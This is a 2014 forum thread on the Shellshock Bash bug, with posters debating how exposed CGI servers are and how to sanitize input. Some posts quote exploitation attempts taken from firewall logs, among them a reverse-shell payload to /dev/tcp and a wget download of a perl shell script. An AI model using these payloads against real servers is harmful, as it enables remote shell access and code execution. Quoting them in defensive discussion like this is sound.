Everything you need to know about the Shellshock Bash bug

Post by [deleted] » Thu, Sep 25, 2014, 11:14 PM UTC

rlucas wrote: post #188

IshKebab wrote: post #180

Earlier quoted context omitted.

I have no sympathy really for people who use `system()`-style calls, or bash in their web servers. Bash is fairly obviously designed with complete disregard for security. I seriously doubt this is its last major flaw. But anyway, is it really that common? I would have thought most CGI scripts are Python, Perl, PHP, etc. and don't use `system()` type calls. Right?

No, super wrong. Underneath the hood there are all kinds of things that go on and result in system() or similar calls. Think about every module in CPAN / PyPI / whatever. Any non-trivial Web app has a high likelihood of eventually, somehow, somewhere, causing a system() type call to fire off.

Post by jvehent » Thu, Sep 25, 2014, 11:19 PM UTC

daviddede wrote: post #239

jgrahamc wrote: post #39

This is being actively exploited. We (CloudFlare) put in place WAF rules to block the exploit yesterday and I've been looking at the log files for the blocking to see what's going on. Have been seeing things like: () { :;}; /bin/ping -c 1 198.x.x.x () { :;}; echo shellshock-scan > /dev/udp/example.com/1234 () { ignored;};/bin/bash -i >& /dev/tcp/104.x.x.x/80 0>&1 () { test;};/usr/bin/wget http://example.com/music/fil…

That's very similar to what we are seeing as well: http://blog.sucuri.net/2014/09/bash-shellshocker-attacks-inc... Also, if anyone need a WAF to protect it in the mean while, we offer one that works very well with CloudFlare (their free plan). Our team is giving is free for 30 days to help out. Details: https://sucuri.net/website-firewall/ *Just email info@sucuri.net and they will get you hooked up. thanks,

Post by pstrateman » Thu, Sep 25, 2014, 11:37 PM UTC

PeterisP wrote: post #265

pstrateman wrote: post #259

Earlier quoted context omitted.

The flaw lies in the combination of 2/3. The HTTP_ environment variables are user input. The PHP (or whatever CGI script) should be sanitizing user input before using it. If this was PHP scripts doing something like this: system("/bin/sh ".$_GET['x']); Nobody would be freaking out... because that's just stupid.

In your opinion, what is the difference between php blindly passing unsanitized user input onwards to bash, and apache blindly passing unsanitized user input onwards to php? Furthermore, in the sample attacks the php scripts don't 'use' that user input in any way; bash gets them because, well, it shares the same environment and its variables. If you'd want a php script 'sanitizing' those variables then it would mean…

Post by jonknee » Thu, Sep 25, 2014, 11:43 PM UTC

ktsmith wrote: post #261

preston4tw wrote: post #234

Earlier quoted context omitted.

The payloads that don't do much of anything are possibly security researchers or white hats trying to get an idea of the scope of the issue and/or get ahead of this. Ex. http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-in...

Yeah, that's certainly the case with a couple of them and then there's one's like this that are trying to set up shells and where they've been established: Request of file: /cgi-sys/defaultwebpage.cgi With wget downloading a perl script to launch a shell: () { :;}; /bin/bash -c \x22/usr/bin/wget http://singlesaints.com/firefile/temp?h=example.com -O /tmp/a.pl\x22 That site is still up and serving right now if anyone…

Post by boynamedsue » Fri, Sep 26, 2014, 2:34 AM UTC

TeeWEE wrote: post #162

The article points you you can run the following code to check you are affected: env X="() { :;} ; echo busted" /bin/sh -c "echo stuff" However... This just shows that the bash installation has this problem. If your webserver that is running is not interacting with bash, then there is no problem at all. So look at your webserver. Its not per-se a problem in bash. Its more a problem of webservers using bash directly.…